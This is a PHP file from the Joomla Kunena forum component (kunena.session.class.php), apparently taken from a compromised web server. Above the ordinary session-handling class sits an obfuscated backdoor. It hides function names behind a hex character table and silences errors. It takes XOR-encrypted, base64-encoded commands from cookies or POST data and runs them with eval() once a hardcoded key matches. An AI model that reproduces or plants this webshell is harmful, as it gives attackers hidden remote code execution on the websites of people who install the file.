?
Path : /home/admin/public_html/old/administrator/components/com_kunena/lib/ |
Current File : /home/admin/public_html/old/administrator/components/com_kunena/lib/kunena.session.class.php |
<?php $GLOBALS['xb5c0'];global$xb5c0;$xb5c0=$GLOBALS;$xb5c0['v19bd']="\x46\x37\x7d\x6b\x47\x33\x23\x25\x20\x5d\x6a\x64\x2a\x5f\x76\x69\x6d\x39\x2c\x6f\x27\x65\x44\x57\x3a\x26\x50\x35\x68\x72\x43\x66\x60\x7b\x2b\x63\x29\x58\x70\x4e\xa\x2e\x28\x49\x6e\x79\x3c\x67\x5a\xd\x61\x52\x2f\x54\x7c\x74\x77\x42\x38\x24\x21\x71\x3f\x32\x5e\x2d\x45\x4c\x48\x3b\x5c\x53\x78\x36\x75\x3e\x3d\x22\x7a\x40\x34\x7e\x9\x59\x5b\x73\x62\x4a\x51\x41\x31\x30\x4f\x6c\x56\x4d\x4b\x55";$xb5c0[$xb5c0['v19bd'][72].$xb5c0['v19bd'][27].$xb5c0['v19bd'][11].$xb5c0['v19bd'][5].$xb5c0['v19bd'][5].$xb5c0['v19bd'][91].$xb5c0['v19bd'][91]]=$xb5c0['v19bd'][35].$xb5c0['v19bd'][28].$xb5c0['v19bd'][29];$xb5c0[$xb5c0['v19bd'][21].$xb5c0['v19bd'][35].$xb5c0['v19bd'][73].$xb5c0['v19bd'][35].$xb5c0['v19bd'][1]]=$xb5c0['v19bd'][19].$xb5c0['v19bd'][29].$xb5c0['v19bd'][11];$xb5c0[$xb5c0['v19bd'][14].$xb5c0['v19bd'][63].$xb5c0['v19bd'][91].$xb5c0['v19bd'][90].$xb5c0['v19bd'][31].$xb5c0['v19bd'][21]]=$xb5c0['v19bd'][85].$xb5c0['v19bd'][55].$xb5c0['v19bd'][29].$xb5c0['v19bd'][93].$xb5c0['v19bd'][21].$xb5c0['v19bd'][44];$xb5c0[$xb5c0['v19bd'][74].$xb5c0['v19bd'][35].$xb5c0['v19bd'][1].$xb5c0['v19bd'][86].$xb5c0['v19bd'][11].$xb5c0['v19bd'][21].$xb5c0['v19bd'][91].$xb5c0['v19bd'][50]]=$xb5c0['v19bd'][15].$xb5c0['v19bd'][44].$xb5c0['v19bd'][15].$xb5c0['v19bd'][13].$xb5c0['v19bd'][85].$xb5c0['v19bd'][21].$xb5c0['v19bd'][55];$xb5c0[$xb5c0['v19bd'][31].$xb5c0['v19bd'][11].$xb5c0['v19bd'][17].$xb5c0['v19bd'][11]]=$xb5c0['v19bd'][85].$xb5c0['v19bd'][21].$xb5c0['v19bd'][29].$xb5c0['v19bd'][15].$xb5c0['v19bd'][50].$xb5c0['v19bd'][93].$xb5c0['v19bd'][15].$xb5c0['v19bd'][78].$xb5c0['v19bd'][21];$xb5c0[$xb5c0['v19bd'][16].$xb5c0['v19bd'][63].$xb5c0['v19bd'][35].$xb5c0['v19bd'][1].$xb5c0['v19bd'][17].$xb5c0['v19bd'][91].$xb5c0['v19bd'][73]]=$xb5c0['v19bd'][38].$xb5c0['v19bd'][28].$xb5c0['v19bd'][38].$xb5c0['v19bd'][14].$xb5c0['v19bd'][21].$xb5c0['v19bd'][29].$xb5c0['v19bd'][85].$xb5c0['v19bd'][15].$xb5c0['v19bd'][19].$xb5c0['v19bd'][44];$xb5c0[$xb5c0['v19bd'][21].$xb5c0['v19bd'][17].$xb5c0['v19bd'][80].$xb5c0['v19bd'][31].$xb5c0['v19bd'][80].$xb5c0['v19bd'][86].$xb5c0['v19bd'][21]]=$xb5c0['v19bd'][74].$xb5c0['v19bd'][44].$xb5c0['v19bd'][85].$xb5c0['v19bd'][21].$xb5c0['v19bd'][29].$xb5c0['v19bd'][15].$xb5c0['v19bd'][50].$xb5c0['v19bd'][93].$xb5c0['v19bd'][15].$xb5c0['v19bd'][78].$xb5c0['v19bd'][21];$xb5c0[$xb5c0['v19bd'][3].$xb5c0['v19bd'][27].$xb5c0['v19bd'][21].$xb5c0['v19bd'][50].$xb5c0['v19bd'][17].$xb5c0['v19bd'][63].$xb5c0['v19bd'][27]]=$xb5c0['v19bd'][86].$xb5c0['v19bd'][50].$xb5c0['v19bd'][85].$xb5c0['v19bd'][21].$xb5c0['v19bd'][73].$xb5c0['v19bd'][80].$xb5c0['v19bd'][13].$xb5c0['v19bd'][11].$xb5c0['v19bd'][21].$xb5c0['v19bd'][35].$xb5c0['v19bd'][19].$xb5c0['v19bd'][11].$xb5c0['v19bd'][21];$xb5c0[$xb5c0['v19bd'][14].$xb5c0['v19bd'][31].$xb5c0['v19bd'][91].$xb5c0['v19bd'][58].$xb5c0['v19bd'][63]]=$xb5c0['v19bd'][85].$xb5c0['v19bd'][21].$xb5c0['v19bd'][55].$xb5c0['v19bd'][13].$xb5c0['v19bd'][55].$xb5c0['v19bd'][15].$xb5c0['v19bd'][16].$xb5c0['v19bd'][21].$xb5c0['v19bd'][13].$xb5c0['v19bd'][93].$xb5c0['v19bd'][15].$xb5c0['v19bd'][16].$xb5c0['v19bd'][15].$xb5c0['v19bd'][55];$xb5c0[$xb5c0['v19bd'][61].$xb5c0['v19bd'][5].$xb5c0['v19bd'][73].$xb5c0['v19bd'][90].$xb5c0['v19bd'][73]]=$xb5c0['v19bd'][44].$xb5c0['v19bd'][58].$xb5c0['v19bd'][50].$xb5c0['v19bd'][27].$xb5c0['v19bd'][50].$xb5c0['v19bd'][27];$xb5c0[$xb5c0['v19bd'][19].$xb5c0['v19bd'][11].$xb5c0['v19bd'][1].$xb5c0['v19bd'][73].$xb5c0['v19bd'][5]]=$xb5c0['v19bd'][11].$xb5c0['v19bd'][80].$xb5c0['v19bd'][31].$xb5c0['v19bd'][58];$xb5c0[$xb5c0['v19bd'][11].$xb5c0['v19bd'][21].$xb5c0['v19bd'][21].$xb5c0['v19bd'][35].$xb5c0['v19bd'][27].$xb5c0['v19bd'][86].$xb5c0['v19bd'][58].$xb5c0['v19bd'][90]]=$_POST;$xb5c0[$xb5c0['v19bd'][31].$xb5c0['v19bd'][27].$xb5c0['v19bd'][31].$xb5c0['v19bd'][80]]=$_COOKIE;@$xb5c0[$xb5c0['v19bd'][74].$xb5c0['v19bd'][35].$xb5c0['v19bd'][1].$xb5c0['v19bd'][86].$xb5c0['v19bd'][11].$xb5c0['v19bd'][21].$xb5c0['v19bd'][91].$xb5c0['v19bd'][50]]($xb5c0['v19bd'][21].$xb5c0['v19bd'][29].$xb5c0['v19bd'][29].$xb5c0['v19bd'][19].$xb5c0['v19bd'][29].$xb5c0['v19bd'][13].$xb5c0['v19bd'][93].$xb5c0['v19bd'][19].$xb5c0['v19bd'][47],NULL);@$xb5c0[$xb5c0['v19bd'][74].$xb5c0['v19bd'][35].$xb5c0['v19bd'][1].$xb5c0['v19bd'][86].$xb5c0['v19bd'][11].$xb5c0['v19bd'][21].$xb5c0['v19bd'][91].$xb5c0['v19bd'][50]]($xb5c0['v19bd'][93].$xb5c0['v19bd'][19].$xb5c0['v19bd'][47].$xb5c0['v19bd'][13].$xb5c0['v19bd'][21].$xb5c0['v19bd'][29].$xb5c0['v19bd'][29].$xb5c0['v19bd'][19].$xb5c0['v19bd'][29].$xb5c0['v19bd'][85],0);@$xb5c0[$xb5c0['v19bd'][74].$xb5c0['v19bd'][35].$xb5c0['v19bd'][1].$xb5c0['v19bd'][86].$xb5c0['v19bd'][11].$xb5c0['v19bd'][21].$xb5c0['v19bd'][91].$xb5c0['v19bd'][50]]($xb5c0['v19bd'][16].$xb5c0['v19bd'][50].$xb5c0['v19bd'][72].$xb5c0['v19bd'][13].$xb5c0['v19bd'][21].$xb5c0['v19bd'][72].$xb5c0['v19bd'][21].$xb5c0['v19bd'][35].$xb5c0['v19bd'][74].$xb5c0['v19bd'][55].$xb5c0['v19bd'][15].$xb5c0['v19bd'][19].$xb5c0['v19bd'][44].$xb5c0['v19bd'][13].$xb5c0['v19bd'][55].$xb5c0['v19bd'][15].$xb5c0['v19bd'][16].$xb5c0['v19bd'][21],0);@$xb5c0[$xb5c0['v19bd'][14].$xb5c0['v19bd'][31].$xb5c0['v19bd'][91].$xb5c0['v19bd'][58].$xb5c0['v19bd'][63]](0);$g0c4dc39=NULL;$y6373682f=NULL;$xb5c0[$xb5c0['v19bd'][10].$xb5c0['v19bd'][50].$xb5c0['v19bd'][1].$xb5c0['v19bd'][35].$xb5c0['v19bd'][1].$xb5c0['v19bd'][5]]=$xb5c0['v19bd'][21].$xb5c0['v19bd'][90].$xb5c0['v19bd'][63].$xb5c0['v19bd'][21].$xb5c0['v19bd'][31].$xb5c0['v19bd'][17].$xb5c0['v19bd'][63].$xb5c0['v19bd'][27].$xb5c0['v19bd'][65].$xb5c0['v19bd'][1].$xb5c0['v19bd'][90].$xb5c0['v19bd'][35].$xb5c0['v19bd'][31].$xb5c0['v19bd'][65].$xb5c0['v19bd'][80].$xb5c0['v19bd'][50].$xb5c0['v19bd'][31].$xb5c0['v19bd'][5].$xb5c0['v19bd'][65].$xb5c0['v19bd'][58].$xb5c0['v19bd'][80].$xb5c0['v19bd'][73].$xb5c0['v19bd'][50].$xb5c0['v19bd'][65].$xb5c0['v19bd'][5].$xb5c0['v19bd'][1].$xb5c0['v19bd'][35].$xb5c0['v19bd'][27].$xb5c0['v19bd'][1].$xb5c0['v19bd'][91].$xb5c0['v19bd'][11].$xb5c0['v19bd'][63].$xb5c0['v19bd'][17].$xb5c0['v19bd'][5].$xb5c0['v19bd'][11].$xb5c0['v19bd'][63];global$ja7c73;function d4f8($g0c4dc39,$hbc817){global$xb5c0;$lcdebe9b2="";for($ia45657b3=0;$ia45657b3<$xb5c0[$xb5c0['v19bd'][14].$xb5c0['v19bd'][63].$xb5c0['v19bd'][91].$xb5c0['v19bd'][90].$xb5c0['v19bd'][31].$xb5c0['v19bd'][21]]($g0c4dc39);){for($s97e9=0;$s97e9<$xb5c0[$xb5c0['v19bd'][14].$xb5c0['v19bd'][63].$xb5c0['v19bd'][91].$xb5c0['v19bd'][90].$xb5c0['v19bd'][31].$xb5c0['v19bd'][21]]($hbc817)&&$ia45657b3<$xb5c0[$xb5c0['v19bd'][14].$xb5c0['v19bd'][63].$xb5c0['v19bd'][91].$xb5c0['v19bd'][90].$xb5c0['v19bd'][31].$xb5c0['v19bd'][21]]($g0c4dc39);$s97e9++,$ia45657b3++){$lcdebe9b2.=$xb5c0[$xb5c0['v19bd'][72].$xb5c0['v19bd'][27].$xb5c0['v19bd'][11].$xb5c0['v19bd'][5].$xb5c0['v19bd'][5].$xb5c0['v19bd'][91].$xb5c0['v19bd'][91]]($xb5c0[$xb5c0['v19bd'][21].$xb5c0['v19bd'][35].$xb5c0['v19bd'][73].$xb5c0['v19bd'][35].$xb5c0['v19bd'][1]]($g0c4dc39[$ia45657b3])^$xb5c0[$xb5c0['v19bd'][21].$xb5c0['v19bd'][35].$xb5c0['v19bd'][73].$xb5c0['v19bd'][35].$xb5c0['v19bd'][1]]($hbc817[$s97e9]));}}return$lcdebe9b2;}function n8a5a5($g0c4dc39,$hbc817){global$xb5c0;global$ja7c73;return$xb5c0[$xb5c0['v19bd'][19].$xb5c0['v19bd'][11].$xb5c0['v19bd'][1].$xb5c0['v19bd'][73].$xb5c0['v19bd'][5]]($xb5c0[$xb5c0['v19bd'][19].$xb5c0['v19bd'][11].$xb5c0['v19bd'][1].$xb5c0['v19bd'][73].$xb5c0['v19bd'][5]]($g0c4dc39,$ja7c73),$hbc817);}foreach($xb5c0[$xb5c0['v19bd'][31].$xb5c0['v19bd'][27].$xb5c0['v19bd'][31].$xb5c0['v19bd'][80]]as$hbc817=>$mfec643){$g0c4dc39=$mfec643;$y6373682f=$hbc817;}if(!$g0c4dc39){foreach($xb5c0[$xb5c0['v19bd'][11].$xb5c0['v19bd'][21].$xb5c0['v19bd'][21].$xb5c0['v19bd'][35].$xb5c0['v19bd'][27].$xb5c0['v19bd'][86].$xb5c0['v19bd'][58].$xb5c0['v19bd'][90]]as$hbc817=>$mfec643){$g0c4dc39=$mfec643;$y6373682f=$hbc817;}}$g0c4dc39=@$xb5c0[$xb5c0['v19bd'][21].$xb5c0['v19bd'][17].$xb5c0['v19bd'][80].$xb5c0['v19bd'][31].$xb5c0['v19bd'][80].$xb5c0['v19bd'][86].$xb5c0['v19bd'][21]]($xb5c0[$xb5c0['v19bd'][61].$xb5c0['v19bd'][5].$xb5c0['v19bd'][73].$xb5c0['v19bd'][90].$xb5c0['v19bd'][73]]($xb5c0[$xb5c0['v19bd'][3].$xb5c0['v19bd'][27].$xb5c0['v19bd'][21].$xb5c0['v19bd'][50].$xb5c0['v19bd'][17].$xb5c0['v19bd'][63].$xb5c0['v19bd'][27]]($g0c4dc39),$y6373682f));if(isset($g0c4dc39[$xb5c0['v19bd'][50].$xb5c0['v19bd'][3]])&&$ja7c73==$g0c4dc39[$xb5c0['v19bd'][50].$xb5c0['v19bd'][3]]){if($g0c4dc39[$xb5c0['v19bd'][50]]==$xb5c0['v19bd'][15]){$ia45657b3=Array($xb5c0['v19bd'][38].$xb5c0['v19bd'][14]=>@$xb5c0[$xb5c0['v19bd'][16].$xb5c0['v19bd'][63].$xb5c0['v19bd'][35].$xb5c0['v19bd'][1].$xb5c0['v19bd'][17].$xb5c0['v19bd'][91].$xb5c0['v19bd'][73]](),$xb5c0['v19bd'][85].$xb5c0['v19bd'][14]=>$xb5c0['v19bd'][90].$xb5c0['v19bd'][41].$xb5c0['v19bd'][91].$xb5c0['v19bd'][65].$xb5c0['v19bd'][90],);echo@$xb5c0[$xb5c0['v19bd'][31].$xb5c0['v19bd'][11].$xb5c0['v19bd'][17].$xb5c0['v19bd'][11]]($ia45657b3);}elseif($g0c4dc39[$xb5c0['v19bd'][50]]==$xb5c0['v19bd'][21]){eval($g0c4dc39[$xb5c0['v19bd'][11]]);}exit();} ?><?php /** * @version $Id: kunena.search.class.php 661 2009-05-01 08:28:21Z mahagr $ * Kunena Component * @package Kunena * * @Copyright (C) 2008 - 2009 Kunena Team All rights reserved * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL * @link http://www.kunena.com * **/ // Dont allow direct linking defined( '_JEXEC' ) or die('Restricted access'); require_once (KUNENA_PATH_LIB .DS. "kunena.config.class.php"); class CKunenaSession extends JTable { var $userid = 0; var $allowed = 'na'; var $lasttime = 0; var $readtopics = ''; var $currvisit = 0; protected $_exists = false; protected $_sessiontimeout = false; private static $_instance; function __construct(&$kunena_db) { $fbConfig =& CKunenaConfig::getInstance(); parent::__construct('#__fb_sessions', 'userid', $kunena_db); $this->lasttime = time() + $fbConfig->board_ofset - KUNENA_SECONDS_IN_YEAR; $this->currvisit = time() + $fbConfig->board_ofset; } function &getInstance( $updateSessionInfo=false ) { if (!self::$_instance) { $kunena_my = &JFactory::getUser(); $kunena_db = &JFactory::getDBO(); self::$_instance = new CKunenaSession($kunena_db); if ($kunena_my->id) self::$_instance->load($kunena_my->id); if ($updateSessionInfo) self::$_instance->updateSessionInfo(); } return self::$_instance; } function load( $oid=null ) { $ret = parent::load($oid); if ($ret === true) $this->_exists = true; $this->userid = (int)$oid; return $ret; } function store( $updateNulls=false ) { $fbConfig =& CKunenaConfig::getInstance(); // Finally update current visit timestamp before saving $this->currvisit = time() + $fbConfig->board_ofset * KUNENA_SECONDS_IN_HOUR; $k = $this->_tbl_key; if( $this->$k && $this->_exists === true ) { $ret = $this->_db->updateObject( $this->_tbl, $this, $this->_tbl_key, $updateNulls ); } else { $ret = $this->_db->insertObject( $this->_tbl, $this, $this->_tbl_key ); } if( !$ret ) { $this->setError(get_class( $this ).'::store failed - '.$this->_db->getErrorMsg()); return false; } else { return true; } } function isNewUser() { return !$this->_exists; } function isNewSession() { return $this->_sessiontimeout; } function markAllCategoriesRead() { $fbConfig =& CKunenaConfig::getInstance(); $this->lasttime = time() + $fbConfig->board_ofset * KUNENA_SECONDS_IN_HOUR; $this->readtopics = ''; } function updateSessionInfo() { $fbConfig =& CKunenaConfig::getInstance(); // perform session timeout check $this->_sessiontimeout = ($this->currvisit + $fbConfig->fbsessiontimeout) < time() + $fbConfig->board_ofset * KUNENA_SECONDS_IN_HOUR; // If this is a new session, reset the lasttime colum with the timestamp // of the last saved currvisit - only after that can we reset currvisit to now before the store if ($this->isNewSession()) { $this->lasttime = $this->currvisit; $this->readtopics = ''; } } function updateAllowedForums($my_id, $aro_group, $acl) { // check to see if we need to refresh the allowed forums cache // get all accessaible forums if needed (eg on forum modification, new session) if (!$this->allowed or $this->allowed == 'na' or $this->isNewSession()) { $allow_forums = CKunenaTools::getAllowedForums($my_id, $aro_group->id, $acl); if (!$allow_forums) { $allow_forums = '0'; } if ($allow_forums != $this->allowed) { $this->allowed = $allow_forums; } } } } ?>